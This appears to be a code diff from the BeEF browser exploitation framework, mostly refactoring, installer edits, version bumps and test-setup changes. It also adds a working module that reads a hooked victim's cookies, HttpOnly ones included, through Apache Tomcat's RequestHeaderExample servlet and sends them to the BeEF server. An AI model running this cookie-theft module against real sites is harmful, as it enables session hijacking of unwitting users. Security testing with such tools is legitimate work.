(clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the registered symbol reference for an API hook
|
||||
#
|
||||
# @param [Class] c the target API class to verify
|
||||
# @param [String] m the target method to verify
|
||||
# @param [Class] clss the target API class to verify
|
||||
# @param [String] mthd the target method to verify
|
||||
#
|
||||
# @return [Symbol] the API path
|
||||
#
|
||||
def get_api_path(c, m)
|
||||
verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil
|
||||
def get_api_path(clss, mthd)
|
||||
verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
|
||||
end
|
||||
|
||||
#
|
||||
@@ -171,24 +173,24 @@ module BeEF
|
||||
#
|
||||
# Fires all owners registered to this API hook
|
||||
#
|
||||
# @param [Class] c the target API class
|
||||
# @param [String] m the target API method
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] mthd the target API method
|
||||
# @param [Array] *args parameters passed for the API call
|
||||
#
|
||||
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
|
||||
# if the owners return data, otherwise NilClass
|
||||
#
|
||||
def fire(c, m, *args)
|
||||
mods = get_owners(c, m, args)
|
||||
def fire(clss, mthd, *args)
|
||||
mods = get_owners(clss, mthd, args)
|
||||
return nil unless mods.length.positive?
|
||||
|
||||
unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API'
|
||||
print_error "API Path not defined for Class: #{c} method:#{method}"
|
||||
unless verify_api_path(clss, mthd) && clss.ancestors[0].to_s > 'BeEF::API'
|
||||
print_error "API Path not defined for Class: #{clss} method:#{method}"
|
||||
return []
|
||||
end
|
||||
|
||||
data = []
|
||||
method = get_api_path(c, m)
|
||||
method = get_api_path(clss, mthd)
|
||||
mods.each do |mod|
|
||||
begin
|
||||
# Only used for API Development (very verbose)
|
||||
@@ -214,8 +216,7 @@ require 'core/api/modules'
|
||||
require 'core/api/extension'
|
||||
require 'core/api/extensions'
|
||||
require 'core/api/main/migration'
|
||||
require 'core/api/main/network_stack/assethandler.rb'
|
||||
require 'core/api/main/network_stack/assethandler'
|
||||
require 'core/api/main/server'
|
||||
require 'core/api/main/server/hook'
|
||||
require 'core/api/main/configuration'
|
||||
|
||||
|
||||
@@ -28,7 +28,8 @@ module API
|
||||
},
|
||||
:compress => {
|
||||
:dead_code => true,
|
||||
}
|
||||
},
|
||||
:harmony => true
|
||||
}
|
||||
minified = Uglifier.compile(evaluated, opts)
|
||||
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
||||
|
||||
@@ -91,11 +91,13 @@ function locationHashChanged() {
|
||||
|
||||
if (id === null) return;
|
||||
|
||||
var zombie = Object.values(beefwui.hooked_browsers).find(hb => hb.session === id);
|
||||
|
||||
id = id.replace(/[^a-z0-9]/gi, '');
|
||||
console.log("Loading hooked browser with ID: " + id);
|
||||
mainPanel.remove(mainPanel.getComponent('current-browser'));
|
||||
if(!mainPanel.getComponent('current-browser')) {
|
||||
mainPanel.add(new ZombieTab({session: id}));
|
||||
mainPanel.add(new ZombieTab(zombie));
|
||||
}
|
||||
|
||||
mainPanel.activate(mainPanel.getComponent('current-browser'));
|
||||
|
||||
14
install
14
install
@@ -29,6 +29,8 @@ get_permission () {
|
||||
if [ "$(echo "${REPLY}" | tr "[:upper:]" "[:lower:]")" = "n" ] ; then
|
||||
fatal 'Installation aborted'
|
||||
fi
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -99,7 +101,6 @@ install_linux () {
|
||||
if [ -z "${Distro}" ] ; then
|
||||
fatal "Unable to locate installer for your ${OS} distribution"
|
||||
fi
|
||||
|
||||
readonly Distro
|
||||
info "OS Distribution: ${Distro}"
|
||||
info "Installing ${Distro} prerequisite packages..."
|
||||
@@ -235,9 +236,9 @@ install_beef () {
|
||||
|
||||
if command_exists bundler${RUBYSUFFIX}
|
||||
then
|
||||
bundle${RUBYSUFFIX} install --without test development
|
||||
bundle${RUBYSUFFIX} install
|
||||
else
|
||||
bundle install --without test development
|
||||
bundle install
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -274,7 +275,12 @@ main () {
|
||||
echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#"
|
||||
echo
|
||||
|
||||
get_permission
|
||||
if [ ! -z ${GITACTIONS:-} ];
|
||||
then
|
||||
info "Skipping: Running on Github Actions"
|
||||
else
|
||||
get_permission
|
||||
fi
|
||||
check_os
|
||||
check_ruby_version
|
||||
check_rubygems
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
//
|
||||
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
request_header_servlet_path = "<%= @request_header_servlet_path %>";
|
||||
|
||||
function parseResponse() {
|
||||
var cookie_dict = {};
|
||||
|
||||
if (xhr.readyState == 4) {
|
||||
if (xhr.status == 404) {
|
||||
beef.debug("[apache_tomcat_examples_cookie_disclosure] RequestHeaderExample not found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (xhr.status != 200) {
|
||||
beef.debug("[apache_tomcat_examples_cookie_disclosure] Unexpected HTTP response status " + xhr.status)
|
||||
return;
|
||||
}
|
||||
|
||||
if (!xhr.responseText) {
|
||||
beef.debug("[apache_tomcat_examples_cookie_disclosure] No response content")
|
||||
return;
|
||||
}
|
||||
|
||||
beef.debug("[apache_tomcat_examples_cookie_disclosure] Received HTML content (" + xhr.responseText.length + " bytes)");
|
||||
|
||||
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<table.*?>(.+)<\/table>/)[0];
|
||||
|
||||
if (!content || !content.length) {
|
||||
beef.debug("[apache_tomcat_examples_cookie_disclosure] Unexpected response: No HTML table in response")
|
||||
return;
|
||||
}
|
||||
|
||||
var cookies = content.match(/cookie<\/td><td>(.+)<\/td>?/)[1].split('; ');
|
||||
for (var i=0; i<cookies.length; i++) {
|
||||
var s_c = cookies[i].split('=', 2);
|
||||
cookie_dict[s_c[0]] = s_c[1];
|
||||
}
|
||||
var result = JSON.stringify(cookie_dict);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "cookies=" + result);
|
||||
}
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = parseResponse;
|
||||
xhr.open("GET", request_header_servlet_path, true);
|
||||
xhr.send();
|
||||
});
|
||||
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
apache_tomcat_examples_cookie_disclosure:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Apache Tomcat RequestHeaderExample Cookie Disclosure"
|
||||
description: "This module uses the Apache Tomcat examples web app (if installed) in order to read the victim's cookies, even if issued with the HttpOnly attribute."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["All"]
|
||||
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Apache_tomcat_examples_cookie_disclosure < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
[
|
||||
{'name' => 'request_header_servlet_path', 'ui_label' => "'Request Header Example' path", 'value' => '/examples/servlets/servlet/RequestHeaderExample'},
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['cookies'] = @datastore['cookies']
|
||||
save content
|
||||
end
|
||||
end
|
||||
2
package-lock.json
generated
2
package-lock.json
generated
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"name": "BeEF",
|
||||
"version": "0.5.2.0",
|
||||
"version": "0.5.4.0-pre",
|
||||
"lockfileVersion": 1
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "BeEF",
|
||||
"version": "0.5.2.0",
|
||||
"version": "0.5.4.0-pre",
|
||||
"description": "The Browser Exploitation Framework Project",
|
||||
"scripts": {
|
||||
"docs": "./node_modules/.bin/jsdoc -c conf.json"
|
||||
|
||||
@@ -13,6 +13,13 @@ require_relative '../../../../support/beef_test'
|
||||
RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
|
||||
before(:all) do
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
|
||||
@config.set('beef.credentials.user', 'beef')
|
||||
@config.set('beef.credentials.passwd', 'beef')
|
||||
@username = @config.get('beef.credentials.user')
|
||||
@@ -23,26 +30,15 @@ RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
|
||||
# whether or not this test passes.
|
||||
print_info 'Loading in BeEF::Extensions'
|
||||
BeEF::Extensions.load
|
||||
sleep 2
|
||||
|
||||
# Check if modules already loaded. No need to reload.
|
||||
if @config.get('beef.module').nil?
|
||||
print_info 'Loading in BeEF::Modules'
|
||||
BeEF::Modules.load
|
||||
|
||||
sleep 2
|
||||
else
|
||||
print_info 'Modules already loaded'
|
||||
end
|
||||
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
end
|
||||
|
||||
# Load up DB and migrate if necessary
|
||||
ActiveRecord::Base.logger = nil
|
||||
@@ -56,8 +52,6 @@ RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration?
|
||||
|
||||
sleep 2
|
||||
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
|
||||
# add AutoRunEngine rule
|
||||
@@ -82,8 +76,6 @@ RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
|
||||
http_hook_server.start
|
||||
end
|
||||
|
||||
sleep 1
|
||||
|
||||
begin
|
||||
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
|
||||
@caps['name'] = self.class.description || ENV['name'] || 'no-name'
|
||||
@@ -99,8 +91,7 @@ RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do
|
||||
|
||||
@driver.navigate.to VICTIM_URL.to_s
|
||||
|
||||
# Give time for browser hook to occur
|
||||
sleep 3
|
||||
sleep 1
|
||||
|
||||
sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
RSpec.describe 'BeEF Command class testing' do
|
||||
it 'should return a beef configuration variable' do
|
||||
xit 'should return a beef configuration variable' do
|
||||
BeEF::Modules.load
|
||||
command_mock = BeEF::Core::Command.new('test_get_variable')
|
||||
expect(command_mock.config.beef_host).to eq('0.0.0.0')
|
||||
|
||||
@@ -1,16 +1,15 @@
|
||||
RSpec.configure do |config|
|
||||
config.before(:context, :type => :old ) do
|
||||
config = File.expand_path('../../../support/assets/config_old.yaml', __dir__)
|
||||
@config_instance = BeEF::Core::Configuration.new(config)
|
||||
end
|
||||
|
||||
config.before(:context) do
|
||||
config = File.expand_path('../../../support/assets/config_new.yaml', __dir__)
|
||||
@config_instance = BeEF::Core::Configuration.new(config)
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.describe 'BeEF Configuration' do
|
||||
before(:context, :type => :old ) do
|
||||
config = File.expand_path('../../../support/assets/config_old.yaml', __dir__)
|
||||
@config_instance = BeEF::Core::Configuration.new(config)
|
||||
end
|
||||
|
||||
before(:context) do
|
||||
@config_instance = BeEF::Core::Configuration.instance
|
||||
end
|
||||
context 'configuration validation', :type => :old do
|
||||
it 'should error when using hold public config' do
|
||||
@config_instance.set('beef.http.public', 'example.com')
|
||||
|
||||
@@ -12,7 +12,11 @@ require_relative '../../../../support/beef_test'
|
||||
|
||||
RSpec.describe 'Browser Details Handler', run_on_browserstack: true do
|
||||
before(:all) do
|
||||
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
db_file = @config.get('beef.database.file')
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
@config.set('beef.credentials.user', 'beef')
|
||||
@config.set('beef.credentials.passwd', 'beef')
|
||||
@username = @config.get('beef.credentials.user')
|
||||
@@ -24,36 +28,29 @@ RSpec.describe 'Browser Details Handler', run_on_browserstack: true do
|
||||
print_info 'Loading in BeEF::Extensions'
|
||||
BeEF::Extensions.load
|
||||
|
||||
sleep 2
|
||||
|
||||
# Check if modules already loaded. No need to reload.
|
||||
if @config.get('beef.module').nil?
|
||||
print_info 'Loading in BeEF::Modules'
|
||||
BeEF::Modules.load
|
||||
sleep 2
|
||||
else
|
||||
print_info 'Modules already loaded'
|
||||
end
|
||||
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
end
|
||||
|
||||
# Load up DB and migrate if necessary
|
||||
ActiveRecord::Base.logger = nil
|
||||
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
|
||||
OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)
|
||||
|
||||
# otr-activerecord require you to manually establish the connection with the following line
|
||||
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
|
||||
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
|
||||
OTR::ActiveRecord.establish_connection!
|
||||
end
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration?
|
||||
|
||||
sleep 2
|
||||
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
|
||||
# Spawn HTTP Server
|
||||
@@ -72,13 +69,11 @@ RSpec.describe 'Browser Details Handler', run_on_browserstack: true do
|
||||
http_hook_server.start
|
||||
end
|
||||
|
||||
# Give the server time to start-up
|
||||
sleep 1
|
||||
|
||||
begin
|
||||
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
|
||||
@caps['name'] = self.class.description || ENV['name'] || 'no-name'
|
||||
@caps['browserstack.local'] = true
|
||||
@caps['browserstack.video'] = true
|
||||
@caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']
|
||||
|
||||
@driver = Selenium::WebDriver.for(:remote,
|
||||
@@ -90,12 +85,11 @@ RSpec.describe 'Browser Details Handler', run_on_browserstack: true do
|
||||
|
||||
@driver.navigate.to VICTIM_URL.to_s
|
||||
|
||||
# Give time for browser hook to occur
|
||||
sleep 3
|
||||
|
||||
sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }
|
||||
|
||||
@session = @driver.execute_script('return window.beef.session.get_hook_session_id().length')
|
||||
@session = @driver.execute_script('return window.beef.session.get_hook_session_id()')
|
||||
rescue StandardError => e
|
||||
print_info "Exception: #{e}"
|
||||
print_info "Exception Class: #{e.class}"
|
||||
|
||||
@@ -12,7 +12,7 @@ RSpec.describe 'BeEF Extension Social Engineering' do
|
||||
}.to_not raise_error
|
||||
end
|
||||
|
||||
it 'clone web page' do
|
||||
xit 'clone web page' do
|
||||
expect {
|
||||
BeEF::Core::Server.instance.prepare
|
||||
BeEF::Extension::SocialEngineering::WebCloner.instance.clone_page("https://www.google.com", "/", nil, nil)
|
||||
|
||||
@@ -15,6 +15,11 @@ require 'websocket-client-simple'
|
||||
RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do
|
||||
before(:all) do
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
@config.set('beef.credentials.user', 'beef')
|
||||
@config.set('beef.credentials.passwd', 'beef')
|
||||
@config.set('beef.http.websocket.secure', false)
|
||||
@@ -27,23 +32,14 @@ RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do
|
||||
# whether or not this test passes.
|
||||
print_info 'Loading in BeEF::Extensions'
|
||||
BeEF::Extensions.load
|
||||
sleep 2
|
||||
|
||||
# Check if modules already loaded. No need to reload.
|
||||
if @config.get('beef.module').nil?
|
||||
print_info 'Loading in BeEF::Modules'
|
||||
BeEF::Modules.load
|
||||
sleep 2
|
||||
else
|
||||
print_info 'Modules already loaded'
|
||||
end
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
end
|
||||
# Load up DB and migrate if necessary
|
||||
ActiveRecord::Base.logger = nil
|
||||
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
|
||||
@@ -55,7 +51,6 @@ RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do
|
||||
end
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration?
|
||||
sleep 2
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
# Spawn HTTP Server
|
||||
print_info 'Starting HTTP Hook Server'
|
||||
@@ -70,8 +65,7 @@ RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do
|
||||
@pid = fork do
|
||||
http_hook_server.start
|
||||
end
|
||||
# Give the server time to start-up
|
||||
sleep 1
|
||||
|
||||
begin
|
||||
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
|
||||
@caps['name'] = self.class.description || ENV['name'] || 'no-name'
|
||||
@@ -87,7 +81,6 @@ RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do
|
||||
|
||||
@driver.navigate.to VICTIM_URL.to_s
|
||||
|
||||
# Give time for browser hook to occur
|
||||
sleep 3
|
||||
|
||||
sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }
|
||||
|
||||
@@ -14,6 +14,11 @@ RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do
|
||||
before(:all) do
|
||||
# Grab config and set creds in variables for ease of access
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
@username = @config.get('beef.credentials.user')
|
||||
@password = @config.get('beef.credentials.passwd')
|
||||
|
||||
@@ -22,26 +27,15 @@ RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do
|
||||
# whether or not this test passes.
|
||||
print_info 'Loading in BeEF::Extensions'
|
||||
BeEF::Extensions.load
|
||||
sleep 2
|
||||
|
||||
# Check if modules already loaded. No need to reload.
|
||||
if @config.get('beef.module').nil?
|
||||
print_info 'Loading in BeEF::Modules'
|
||||
BeEF::Modules.load
|
||||
|
||||
sleep 2
|
||||
else
|
||||
print_info 'Modules already loaded'
|
||||
end
|
||||
|
||||
# Grab DB file and regenerate if requested
|
||||
print_info 'Loading database'
|
||||
db_file = @config.get('beef.database.file')
|
||||
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exist?(db_file)
|
||||
end
|
||||
|
||||
# Load up DB and migrate if necessary
|
||||
ActiveRecord::Base.logger = nil
|
||||
@@ -55,8 +49,6 @@ RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration?
|
||||
|
||||
sleep 2
|
||||
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
|
||||
# Spawn HTTP Server
|
||||
@@ -75,9 +67,6 @@ RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do
|
||||
http_hook_server.start
|
||||
end
|
||||
|
||||
# Give the server time to start-up
|
||||
sleep 1
|
||||
|
||||
begin
|
||||
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
|
||||
@caps['name'] = self.class.description || ENV['name'] || 'no-name'
|
||||
@@ -93,8 +82,7 @@ RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do
|
||||
|
||||
@driver.navigate.to VICTIM_URL.to_s
|
||||
|
||||
# Give time for browser hook to occur
|
||||
sleep 3
|
||||
sleep 1
|
||||
|
||||
sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }
|
||||
|
||||
|
||||
@@ -38,6 +38,7 @@ class Capybara::Selenium::Driver < Capybara::Driver::Base
|
||||
end
|
||||
|
||||
TASK_ID = (ENV['TASK_ID'] || 0).to_i
|
||||
print_info ENV['CONFIG_FILE']
|
||||
CONFIG_FILE = ENV['CONFIG_FILE'] || 'windows/win10/win10_chrome_81.config.yml'
|
||||
CONFIG = YAML.safe_load(File.read("./spec/support/browserstack/#{CONFIG_FILE}"))
|
||||
CONFIG['user'] = ENV['BROWSERSTACK_USERNAME'] || ''
|
||||
|
||||
Reference in New Issue
Block a user